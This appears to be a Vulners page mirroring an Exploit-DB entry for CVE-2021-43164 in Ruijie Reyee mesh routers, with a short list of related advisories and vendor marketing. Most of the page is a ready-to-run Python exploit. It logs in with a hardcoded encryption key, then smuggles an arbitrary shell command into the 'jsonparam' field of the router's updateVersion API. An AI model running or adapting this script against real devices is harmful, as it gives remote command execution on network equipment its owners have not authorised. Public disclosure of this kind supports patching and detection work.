Lucene search
K

Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)

🗓️ 11 May 2022 00:00:00Reported by Minh KhoaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 418 Views

Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated) on ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P5

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ruijie Reyee Mesh Router - Remote Code Execution (Authenticated) Exploit
12 May 202200:00
zdt
CNNVD
Ruijie RG-EW Series Routers 操作系统命令注入漏洞
3 May 202200:00
cnnvd
CVE
CVE-2021-43164
4 May 202200:08
cve
Cvelist
CVE-2021-43164
4 May 202200:08
cvelist
NVD
CVE-2021-43164
4 May 202201:15
nvd
Packet Storm
Ruijie Reyee Mesh Router Remote Code Execution
11 May 202200:00
packetstorm
Prion
Remote code execution
4 May 202201:15
prion
# Exploit Title: Ruijie Reyee Mesh Router - Remote Code Execution (RCE) (Authenticated)
# Google Dork: None
# Date: November 1, 2021
# Exploit Author: Minh Khoa of VSEC
# Vendor Homepage: https://ruijienetworks.com
# Software Link: https://www.ruijienetworks.com/resources/products/1896-1900
# Version: ReyeeOS 1.55.1915 - EW_3.0(1)B11P35 and EW_3.0(1)B11P55
# Tested on: Ruijie RG-EW1200, Ruijie RG-EW1200G PRO
# CVE: CVE-2021-43164

#!/usr/bin/python3

import os
import sys
import time
import requests
import json

def enc(PASS):
    key   = "RjYkhwzx$2018!"
    shell = "echo '{}' | openssl enc -aes-256-cbc -a -k '{}' -md md5 2>/dev/null".format(PASS, key)
    return os.popen(shell).read().strip()

try:
    TARGET  = sys.argv[1]
    USER    = sys.argv[2]
    PASS    = sys.argv[3]
    COMMAND = sys.argv[4]
except Exception:
    print("CVE-2021-43164 PoC")
    print("Usage:   python3 exploit.py <target> <user> <pass> <command>")
    print("Example: python3 exploit.py 192.168.110.1 admin password 'touch /tmp/pwned'")
    sys.exit(1)

endpoint = "http://{}/cgi-bin/luci/api/auth".format(TARGET)
payload = {
        "method": "login",
        "params": {
            "username": USER,
            "password": enc(PASS),
            "encry": True,
            "time": int(time.time()),
            "limit": False
            }
        }

r = requests.post(endpoint, json=payload)
sid = json.loads(r.text)["data"]["sid"]

endpoint = "http://{}/cgi-bin/luci/api/wireless?auth={}".format(TARGET, sid)
payload = {
        "method": "updateVersion",
        "params": {
            "jsonparam": "'; {} #".format(COMMAND)
            }
        }

r = requests.post(endpoint, json=payload)
print(r.text)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation